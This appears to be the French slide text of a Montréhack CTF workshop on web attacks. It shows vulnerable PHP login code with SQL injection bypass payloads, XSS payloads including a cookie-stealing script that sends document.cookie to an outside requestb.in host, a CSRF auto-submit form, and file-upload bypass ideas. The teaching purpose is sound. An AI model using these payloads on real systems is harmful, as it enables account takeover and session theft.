Montréhack
SSID: cm-public
Psw: sansfil3800
Shopiflag Web - Février 2018
Par Jean-Frédéric Gauron
Ordre du jour
SQL injection (SQLi)
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$pwd'";�$stmt = $db->query($sql);�$user = $stmt->fetch();��if ($user) {� // log in as user�}
Username payload: ' OR 1=1 #
SQL injection (suite)
$sql = "SELECT * FROM users WHERE username = '$username'";�$stmt = $db->query($sql);�$user = $stmt->fetch();��if ($user && $pwd === $user["password"]) {� // log in as user�}
Username payload: ' UNION SELECT 1,2,'h4ck3r' #
Password payload: h4ck3r
Cross-site Scripting (XSS)
// Déterminer si l’application est vulnérable�<script>alert(1);</script>
// Si le code injecté n’est pas visible par l’attaquant (modifier pour son propre requestb.in)�<script>new Image().src="https://requestb.in/11zdff91";</script>
// Possibilité de voler les cookies de la victime�<script>new Image().src="https://requestb.in/11zdff91?c="+(document.cookie);</script>
Payloads:
Cross-site Request Forgery (CSRF)
<form name="evilform" method="post" action="badbank.com">� <input type="hidden" name="receiverID" value="60" />� <input type="hidden" name="amount" value="1000" />�</form>�<script type="text/javascript">document.evilform.submit();</script>
Payload:
Unrestricted file upload
Plusieurs façons de contourner les restrictions: Null byte injection, content-type spoofing, double extension, …
Ne pas croire tout ce qu’on lit sur stackoverflow:
https://stackoverflow.com/questions/15595592/php-validating-the-file-upload
Plus d’informations:
Recon
Shopiflag
Challenge: http://165.227.44.167/
Bonne chance!